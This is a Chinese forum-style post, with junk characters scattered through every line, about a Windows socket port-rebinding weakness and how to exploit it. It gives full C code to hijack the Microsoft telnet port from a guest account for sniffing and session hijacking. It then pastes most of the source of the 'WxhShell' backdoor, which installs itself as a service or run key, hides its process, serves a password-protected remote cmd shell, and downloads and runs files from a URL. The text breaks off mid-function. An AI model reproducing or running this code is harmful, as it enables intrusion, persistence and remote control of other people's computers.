在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
G>=*yqo
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
**0~K" ;\ sdrfsrNvB- saddr.sin_family = AF_INET;
]cvwIc"> 0auYG><= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>uB?rGcM 1\m[$Gs: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]A`n(
"% a!SiX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xa*hi87L* r<EY]f^`u 这意味着什么?意味着可以进行如下的攻击:
T{^rt3a uMv,zO5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2'Uu:Y^ J{<X7uB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Hio0HL- S+6.ZZ9c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,THw"bm y<3-?}.aZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e{H=dIa+ Zl!kJ:0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
RBd7YWo\|j
8W7J3{d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
I][*j 1.hyCTnI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ee#q9Cx^J ?UR0:f:}oc #include
}v{LRRi #include
$wa{~' #include
E&w7GZNt #include
nFCC St$ DWORD WINAPI ClientThread(LPVOID lpParam);
^DLfY-F+j int main()
6|=f$a {
2[yd> (` WORD wVersionRequested;
/maJtX' DWORD ret;
2tO,dx WSADATA wsaData;
Rp7mh]kZ BOOL val;
MN>b7O \.? SOCKADDR_IN saddr;
9=tIz SOCKADDR_IN scaddr;
d-ko
^Y0 int err;
j;r-NCBnz SOCKET s;
{Xy5pfW
Q SOCKET sc;
4_lrg|X1 int caddsize;
1I6px$^E\ HANDLE mt;
r;2^#6/Z DWORD tid;
.Hm>i wVersionRequested = MAKEWORD( 2, 2 );
>:!5*E5? err = WSAStartup( wVersionRequested, &wsaData );
_f,C[C[e& if ( err != 0 ) {
({_{\9O,3 printf("error!WSAStartup failed!\n");
c6]U E@A return -1;
s8Q 5ui] }
:-Z2:/P saddr.sin_family = AF_INET;
qR{=pR cjY-y-vO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ax@$+/Z! .P]+? %& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@mBQ?;qlK saddr.sin_port = htons(23);
>U>(`r* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gD?l-RT> {
uW{l(}0N printf("error!socket failed!\n");
.<FH>NW) return -1;
7]bGc
\ }
b|DdG/O val = TRUE;
(t|Zn@uY //SO_REUSEADDR选项就是可以实现端口重绑定的
w9imKVry if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U)gH}0n& {
=nS3p6>rZ printf("error!setsockopt failed!\n");
;'K5J9k return -1;
TdMruSY }
*fxG?}YT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@. l@\4m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
T -2t.Xs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
aXYY:; Y.UFbrv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'H!Uh]! {
,4$>,@WW~ ret=GetLastError();
0OE:[pR printf("error!bind failed!\n");
x9g#<2w8 return -1;
X_h}J=33Q }
cT,sh~-x, listen(s,2);
bE. .P&" while(1)
4$<JHo
@. {
cq]6XK-W caddsize = sizeof(scaddr);
~
7s!VR //接受连接请求
q9_OGd|P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
* u>\57W if(sc!=INVALID_SOCKET)
o.!Dq7R {
M }D}K\) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2ilQXy if(mt==NULL)
vE?G7%, {
HV|,}Wks6s printf("Thread Creat Failed!\n");
u6agoK|^9 break;
h]gp ^?= }
n>YKa)|W` }
NLqzi%s CloseHandle(mt);
##*3bDf$-5 }
R 9\*#c closesocket(s);
Yq
KCeg WSACleanup();
%u'ukcL7 return 0;
uXvtfc }
0,")C5j DWORD WINAPI ClientThread(LPVOID lpParam)
ZE}}W_ {
:I#V. SOCKET ss = (SOCKET)lpParam;
&QgR*,5eo SOCKET sc;
SJ,v?=S! unsigned char buf[4096];
} Kgy
SOCKADDR_IN saddr;
/8S>;5hvK@ long num;
T~e.PP DWORD val;
|{ip T SH DWORD ret;
C6PdDRf //如果是隐藏端口应用的话,可以在此处加一些判断
W6Fo6a"< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
V,njO{Q saddr.sin_family = AF_INET;
7.oM J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fHFE){ saddr.sin_port = htons(23);
y6a3tG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O0.*Pmt {
(9a^$C* printf("error!socket failed!\n");
ZECfR>`x return -1;
1qA;/-Zr<o }
M= (u]%\ val = 100;
!Uo4,g6r+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"y}5;9#, {
`c$V$/IT ret = GetLastError();
9.#<b|g return -1;
mfr|:i }
z{QqY.Gu{G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~"!fP3"e {
?J0y| ret = GetLastError();
Z`i(qCAd( return -1;
%N._w!N<5n }
6gDN`e,@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L4W5EO$ {
R|(a@sL printf("error!socket connect failed!\n");
;$4\e)AB closesocket(sc);
RRJ%:5& closesocket(ss);
L/K(dkx return -1;
e0 ecD3 }
UN#S;x* while(1)
TWTb?HP {
ccxNbU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0y\Z9+G: //如果是嗅探内容的话,可以再此处进行内容分析和记录
i%?* @uj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
YmG("z num = recv(ss,buf,4096,0);
$`8wJf9@w if(num>0)
{qVZNXDn send(sc,buf,num,0);
LS[]=Mk@1 else if(num==0)
h(DTa break;
QT}tvm@PMq num = recv(sc,buf,4096,0);
<P<z N~i9j if(num>0)
.%-8 t{dt send(ss,buf,num,0);
c+ie8Q! else if(num==0)
o8MZiU1Xf break;
8Zdn, }Z }
pxi3PY? closesocket(ss);
#'}*dy/ closesocket(sc);
:`sUt1Fw. return 0 ;
\;Weizq5 }
&p,]w~d,U MdF2Gk-9 (9)Q ' 'S ==========================================================
]:n,RO6 ['D]>Ot68 下边附上一个代码,,WXhSHELL
<_+X 88 BA.uw_^4 ==========================================================
XjBD{m( 7_t'( /yu #include "stdafx.h"
zQ PQ E{(;@PzE #include <stdio.h>
fP1!)po #include <string.h>
e3\T)x&= #include <windows.h>
!,PWb3S #include <winsock2.h>
j>kqz>3 #include <winsvc.h>
`]aeI'[}R #include <urlmon.h>
rm_Nn8p,
\=o- #pragma comment (lib, "Ws2_32.lib")
wd6owr #pragma comment (lib, "urlmon.lib")
&^nGtW%a 9 iy"*5<;*DD #define MAX_USER 100 // 最大客户端连接数
%iB,IEw #define BUF_SOCK 200 // sock buffer
`D9$v(Ztr #define KEY_BUFF 255 // 输入 buffer
|W^IlqTH :T~ [ #define REBOOT 0 // 重启
EQ_aa@M7 #define SHUTDOWN 1 // 关机
h+,@G,|D >Q*Wi #define DEF_PORT 5000 // 监听端口
F'Z,]b'st3 \2z>?i) #define REG_LEN 16 // 注册表键长度
2AdDIVYC #define SVC_LEN 80 // NT服务名长度
mkpMfPt unxqkU/<Z // 从dll定义API
]$hBMuUa typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$cgcX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tJmTBsn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2 E=L8< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
dr"1s-D4IQ ~J]qP #C // wxhshell配置信息
rl.}%Ny struct WSCFG {
7 8,n%=nG int ws_port; // 监听端口
'%;m?t%q char ws_passstr[REG_LEN]; // 口令
^J{:x int ws_autoins; // 安装标记, 1=yes 0=no
PY'2h4IL char ws_regname[REG_LEN]; // 注册表键名
y7<|_:00 char ws_svcname[REG_LEN]; // 服务名
CJyevMf' char ws_svcdisp[SVC_LEN]; // 服务显示名
Y-9I3?ar char ws_svcdesc[SVC_LEN]; // 服务描述信息
&5;"#:ORcK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(k P9hcV int ws_downexe; // 下载执行标记, 1=yes 0=no
18Emi<&A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e+|sSp A char ws_filenam[SVC_LEN]; // 下载后保存的文件名
p<%d2@lp 4ppz,L,4 };
\U0'P;em E{@[k%,_ // default Wxhshell configuration
I+(nu47ZT struct WSCFG wscfg={DEF_PORT,
qgB_=Q#E "xuhuanlingzhe",
9H~n_ 1,
/_.|E] "Wxhshell",
->jDb/a{C "Wxhshell",
p4QU9DF "WxhShell Service",
s#MPX3itK "Wrsky Windows CmdShell Service",
}0 ?3:A "Please Input Your Password: ",
iDD$pd,e\ 1,
8XaQAy%d] "
http://www.wrsky.com/wxhshell.exe",
8CE = 4 "Wxhshell.exe"
iRBfx };
GX%g9f!O u@^LW<eD // 消息定义模块
4e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
y>LBl] char *msg_ws_prompt="\n\r? for help\n\r#>";
06jQE2z2R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,)io5nZF char *msg_ws_ext="\n\rExit.";
5twhm char *msg_ws_end="\n\rQuit.";
F[MFx^sT{ char *msg_ws_boot="\n\rReboot...";
MfkZ char *msg_ws_poff="\n\rShutdown...";
T>>c2$ x char *msg_ws_down="\n\rSave to ";
_dU\JD Xc.`-J~Il char *msg_ws_err="\n\rErr!";
{G-kNU char *msg_ws_ok="\n\rOK!";
afk>+4q 4!$"ayGv;D char ExeFile[MAX_PATH];
zeRyL3fnmb int nUser = 0;
m+9#5a- HANDLE handles[MAX_USER];
@]0%L0u int OsIsNt;
(%9$! v{3 0 {mex4 SERVICE_STATUS serviceStatus;
(5~h"s SERVICE_STATUS_HANDLE hServiceStatusHandle;
1x^GWtRp !m$jk2< // 函数声明
qP;OaM
CX int Install(void);
31)&vf[[ int Uninstall(void);
fy$1YI>!Q int DownloadFile(char *sURL, SOCKET wsh);
Kpp_|2|@< int Boot(int flag);
Y*hCMy; void HideProc(void);
h];I{crh int GetOsVer(void);
2SLU:=<3 int Wxhshell(SOCKET wsl);
X?Au/ void TalkWithClient(void *cs);
`mqMLo* int CmdShell(SOCKET sock);
\NC3'G:Ii int StartFromService(void);
Mihg: int StartWxhshell(LPSTR lpCmdLine);
P;*(hY5& :EyD+!LJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E"0>yl) VOID WINAPI NTServiceHandler( DWORD fdwControl );
>d6| ^h'0 adw2x pj // 数据结构和表定义
4+ig'
|o SERVICE_TABLE_ENTRY DispatchTable[] =
{Ha57Wk8D {
M3AXe]<eC1 {wscfg.ws_svcname, NTServiceMain},
Pc9H0\+Xk {NULL, NULL}
v0y(58Rz. };
0IpmRH/ /tLVX} & // 自我安装
;rS{: int Install(void)
#;<Y[hR{P {
hOeRd#AQK char svExeFile[MAX_PATH];
~s{$WL& HKEY key;
svSVG:48 strcpy(svExeFile,ExeFile);
f!"w5qC^ E_`=7i // 如果是win9x系统,修改注册表设为自启动
g78^9Y*1 if(!OsIsNt) {
E.f%H(b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ep}s}Stlr} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uw7zWJ
n RegCloseKey(key);
tVjsRnb{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ElXFeJ%[G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s @C}P RegCloseKey(key);
=Sv/IXX\di return 0;
y}H!c; }
\Cj B1]I }
7d vnupLh }
Uz7<PLxd else {
)X!,3Ca{43 O@P"MXEG // 如果是NT以上系统,安装为系统服务
t^L]/$q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5X+A"X
;C if (schSCManager!=0)
g+lCMW\ {
0aAoV0fMDz SC_HANDLE schService = CreateService
2?x4vI
np; (
a9 G8q>h]O schSCManager,
4m)n+ll wscfg.ws_svcname,
[gB+C84%% wscfg.ws_svcdisp,
F\!
`/4 SERVICE_ALL_ACCESS,
{8aTV}Ha2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B1STG L`nK SERVICE_AUTO_START,
l^qI,M SERVICE_ERROR_NORMAL,
_j3f Ar(V svExeFile,
|{8Pb3#U NULL,
M_8{]uo NULL,
{8OCXus3m NULL,
|^aKs#va NULL,
"oD[v NULL
36NpfTW );
ceV}WN19l if (schService!=0)
4Up/p&1@ {
5m*,8 ]!- CloseServiceHandle(schService);
c|%6e(g"L CloseServiceHandle(schSCManager);
^s=8!=A( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
L$-T,Kze strcat(svExeFile,wscfg.ws_svcname);
9gFUaDLo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KSvE~h[#+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ys~x$ RegCloseKey(key);
6 r"<jh # return 0;
pUTr!fR }
rKn~qVls }
&vJH$R CloseServiceHandle(schSCManager);
:>*7=q= }
r,udO,Yi=c }
;fJ.8C TN.rrop`#g return 1;
uc=B,3 }
Fp:'M X q@qsp&0/ // 自我卸载
"#] $r int Uninstall(void)
e!Hh s/&!T {
_^;Z~/. HKEY key;
:
'c&,oLY xmG<]WF>E if(!OsIsNt) {
{FGj]* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
""H?gsL[ RegDeleteValue(key,wscfg.ws_regname);
N$DkX)Z RegCloseKey(key);
*Uh!>Iv; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RpK@?[4s RegDeleteValue(key,wscfg.ws_regname);
u"8yK5! RegCloseKey(key);
Q@niNDaW2 return 0;
zTp"AuNHN }
w@pPcZ>z/ }
n ;Ei\\p! }
U17d>]ka else {
~zgGa:uU P3%5?.S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Kgv T"s. if (schSCManager!=0)
%$I;{-LD {
rUl+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
U(Zq= M if (schService!=0)
9z0p5)]n> {
phK/ if(DeleteService(schService)!=0) {
S 5U;#H CloseServiceHandle(schService);
_&x%^&{ CloseServiceHandle(schSCManager);
C}X\|J return 0;
n?Q|)2 2 }
.N3mb6#[R CloseServiceHandle(schService);
5bIw?%dk( }
SKtr tm CloseServiceHandle(schSCManager);
-} +[ }
ZG:{[sT }
&L:!VL{I GVz6-T~\> return 1;
?5p>BER? }
i?/qY&~ q| 7( // 从指定url下载文件
==B6qX8T int DownloadFile(char *sURL, SOCKET wsh)
,I9bNO,%JK {
BWNi [^] HRESULT hr;
>eaaaq9B- char seps[]= "/";
so;
]& char *token;
bLL2 char *file;
\^LFkp char myURL[MAX_PATH];
<$YlH@;)`a char myFILE[MAX_PATH];
Lr+$_ t}r u?"Vm strcpy(myURL,sURL);
>ef6{URy< token=strtok(myURL,seps);
6LZCgdS{ while(token!=NULL)
H+#FSdy# {
t7pFW^& file=token;
&[9709 (= token=strtok(NULL,seps);
r^ XVB`v }
jCY%| x38QD;MT GetCurrentDirectory(MAX_PATH,myFILE);
b$7 +;I; strcat(myFILE, "\\");
k'YTpO strcat(myFILE, file);
zqku e%^?- send(wsh,myFILE,strlen(myFILE),0);
7^285)UQA send(wsh,"...",3,0);
NHt\
U9l' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rjP/l6
~' if(hr==S_OK)
@CoIaUVP return 0;
lYIH/:T else
`XKLU return 1;
iCoX&"lb "tZe>>I }
K:M8h{Ua 8|^7ai[am // 系统电源模块
WxDh;*am: int Boot(int flag)
AX INThJ {
]|@^1we HANDLE hToken;
"4Nt\WQ TOKEN_PRIVILEGES tkp;
+_!QSU,@ \wZe] G%S if(OsIsNt) {
bD^owa OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3q.q
YX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
RCrCs tkp.PrivilegeCount = 1;
;a/E42eN; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!Cs_F&l"j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f<_Cq<q" if(flag==REBOOT) {
`^vE9nW7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
km(Po} return 0;
Wqnc{oq|$ }
Sz~OX6L else {
wzA$'+Mb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[^)g%|W return 0;
OI*H,Z" }
0Gk<l{o?^ }
dr(*T else {
m 5.Zu. if(flag==REBOOT) {
"%_+-C<L4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]'cs. return 0;
gR**@t=;j }
DXo|.!P=3 else {
#E?4E1bnB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
J,hCvm return 0;
mw!F{pw }
'91/md5 }
29rX%09T] _$'ashF return 1;
/z!%d%" }
}C:r9?T E./2jCwI(Y // win9x进程隐藏模块
:/#rZPPF void HideProc(void)
> I?IPQB
{
8}[).d160
XX@ZQcN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T%Lx%Qn if ( hKernel != NULL )
.>S!ji {
Ba,`TJ%y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eRYK3W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\RiP
FreeLibrary(hKernel);
_-D{-Bu# }
uZ5p#M_ +z( Lr=G return;
eDMO]5}Ht }
]lbuy7xj63 M{@(G5 // 获取操作系统版本
=(Mch~
int GetOsVer(void)
f 2.HF@ {
@- xjfC\d OSVERSIONINFO winfo;
Ey2^? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Sf'CN8 GetVersionEx(&winfo);
I0-MRU~[K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%{|p j
+ return 1;
:]KAkhFkbb else
L#J1b!D&<6 return 0;
fl(wV.Je| }
t!XwW$@ vt8By@]: // 客户端句柄模块
n[z+<VGwC int Wxhshell(SOCKET wsl)
vgPCQO([ {
sT)CxOV SOCKET wsh;
3$ pX struct sockaddr_in client;
l-Z4Mq6*L DWORD myID;
j_AACq
{. UVP vOtZj while(nUser<MAX_USER)
UfGkTwoo= {
29KiuP int nSize=sizeof(client);
XwmL.Gg:]7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
siI;"? if(wsh==INVALID_SOCKET) return 1;
Upe%rC( M >u_4AY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nUO0Ce if(handles[nUser]==0)
T[gv0|+ closesocket(wsh);
]DcFySyv else
HtFDlvdy] nUser++;
$Yq9P0Ya }
zfU{Kd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U/U);frH icgfB-1|i return 0;
l**X^+=$ }
dH!*!r> U6K|fYN` // 关闭 socket
\D4:Nt# void CloseIt(SOCKET wsh)
CTb%(<r {
]G\}k closesocket(wsh);
AH^/V}9H nUser--;
s AkdMo ExitThread(0);
r@V!,k#S }
rp$'L7lrX kmW4:EA% // 客户端请求句柄
!g[Zfo2r" void TalkWithClient(void *cs)
V88p;K$+ {
eFgA 8kY) ^[[P*NX3 SOCKET wsh=(SOCKET)cs;
ax`o>_) char pwd[SVC_LEN];
wMn
i char cmd[KEY_BUFF];
Tk}]Gev char chr[1];
j%kncGS int i,j;
TOt dUO &
21%zPm while (nUser < MAX_USER) {
KO [Yi ]gOy(\B if(wscfg.ws_passstr) {
COlqcq'qAu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)5,v!X) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=bOW~0Z1 //ZeroMemory(pwd,KEY_BUFF);
)`:UP~)H i=0;
]Ze1s02( while(i<SVC_LEN) {
\e*]Ls#jS 0kh6@y3 // 设置超时
M%HU4pTW#o fd_set FdRead;
q~3>R=t struct timeval TimeOut;
ye&;(30Oq FD_ZERO(&FdRead);
G{}VPcrbC FD_SET(wsh,&FdRead);
jA1+x:Wq TimeOut.tv_sec=8;
-n
1v3 TimeOut.tv_usec=0;
P:c w|Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M3\AY30L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
54T`OE
= /m1\ iM\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zX[U~. pwd
=chr[0]; ';CNGv -
if(chr[0]==0xd || chr[0]==0xa) { 0mE 0 j
pwd=0; Ud?Q%)X
break; ^qs $v06
} t Q)qCk07
i++; _6Sp QW
} B\~}3!j
oJ^P(] dw
// 如果是非法用户,关闭 socket X?O[r3<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K;?+8(H
} y[;>#j$
WWY6ha
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z/-=%g >HA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m
O_af
cuX)8+
while(1) { !$JT e
}jXfb@`K
ZeroMemory(cmd,KEY_BUFF); O-wzz
-7ep{p-
// 自动支持客户端 telnet标准 sJZiI}Xc
j=0; >4TO=i
while(j<KEY_BUFF) { i-1op> Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `5*}p#G
cmd[j]=chr[0]; sHj/;
if(chr[0]==0xa || chr[0]==0xd) { 3o*YzwRt
cmd[j]=0; -).C
break; )0`C@um
} hN_]6,<\
j++; X|dlt{Gf
} e\rp)[>'
:OT&
// 下载文件 M\j.8jG
if(strstr(cmd,"http://")) { E.h*g8bXe
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F ,kZU$
if(DownloadFile(cmd,wsh)) F59 TZI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W9&=xs6
else }e1ZbmW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &]Tmxh(
} l1I#QB@5n
else { WJi]t9 3
+A+)=/i;
switch(cmd[0]) { UKGPtKE<
C!gZN9-
// 帮助 Ry&6p>-
case '?': { P}iE+Z3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +`4A$#$+y
break; T{"(\X$
} 6]N.%Y[(
// 安装 kZ~~/?B
case 'i': { 9r9NxKuAO
if(Install()) Z+SRXKQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \U0Q<ot/7
else S:}7q2:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +T ?NH9
break; 'u658Tj
} Om&Dw|xG8
// 卸载 /Oono6j
case 'r': { Ri'n
if(Uninstall()) cQ|NJ_F{1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XppOU
else ZCw]m#lS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NK+o1
break; KvSG;
} \vNU,WO
// 显示 wxhshell 所在路径 Gj*9~*xm(
case 'p': { %O<BfIZ
char svExeFile[MAX_PATH]; x-c"%Z|
strcpy(svExeFile,"\n\r"); bt *k.=p
strcat(svExeFile,ExeFile); -j(6;9"7]|
send(wsh,svExeFile,strlen(svExeFile),0); A&{Nh` q
break; -Za/p@gM
} =N@t'fOr
// 重启 }]TxlSp!;
case 'b': { I fir ,8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); INf&4!&h
if(Boot(REBOOT)) CLSK'+l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xj*Wu_
else { hZ3bVi)L\
closesocket(wsh); 5;?yCWc
ExitThread(0); 1M-pr 8:6s
} ,Q B<7a+I
break; G3]4A&h9v~
} E7hhew
// 关机 rNM;ZPF#
case 'd': { ?%86/N>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w!CNRtM:~
if(Boot(SHUTDOWN)) 6zkaOA46V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B!yr!DWv
else { dx]>(e@(t{
closesocket(wsh); /?!u{(h }
ExitThread(0); <i[HbgUlO.
} q4q6c")zp
break; VQI3G
} K,]=6Rj
// 获取shell R+| h w;
case 's': { Vi}_{
Cy
CmdShell(wsh); g`^x@rj`E
closesocket(wsh); .hiSw
ExitThread(0); IID5c"
oR
break; ]4{H+rw
} -M2yw
// 退出 Ymgw-NJ;(
case 'x': { iE{&*.q_}>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Q,^3*HX9}
CloseIt(wsh); Q?T]MUY(L
break; hph4 `{T
} Al'3?
// 离开 >7r!~+B"9'
case 'q': { ,[Fb[#Qqb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O f#:
closesocket(wsh); / xQPTT
WSACleanup(); t5zKW _J7
exit(1); %SI'BJ
break; 4YHY7J
} f)!Z~t &
} Fi1@MG5$2
} zL it
P4?glh q#
// 提示信息 ddo#P%sH'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -N@|QK>
} -/k 3a*$/
} &~!Wym
}%z
return; aT<q=DO
} "ta x?
R3!t$5HG
// shell模块句柄 jal-9NV)!
int CmdShell(SOCKET sock) HThcn1u~^b
{ J;%Xfx]
STARTUPINFO si; _|]x2xb)
ZeroMemory(&si,sizeof(si)); G`zm@QL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .ByuN
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2%>FR4a
PROCESS_INFORMATION ProcessInfo; oE~RySX
char cmdline[]="cmd"; OTp]Xe/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6#yUc_5 \
return 0; j4b4!^fV
} AEuG v}#
Y~Ifj,\
// 自身启动模式 IAEAhqp
int StartFromService(void) 4=.so~9odX
{ ^&)|sP
typedef struct b2]Kx&!
{ bfO=;S]b!
DWORD ExitStatus; `kr?j:g
DWORD PebBaseAddress; B:QHwzd
DWORD AffinityMask; BD-AI
DWORD BasePriority; Q^I\cAIB
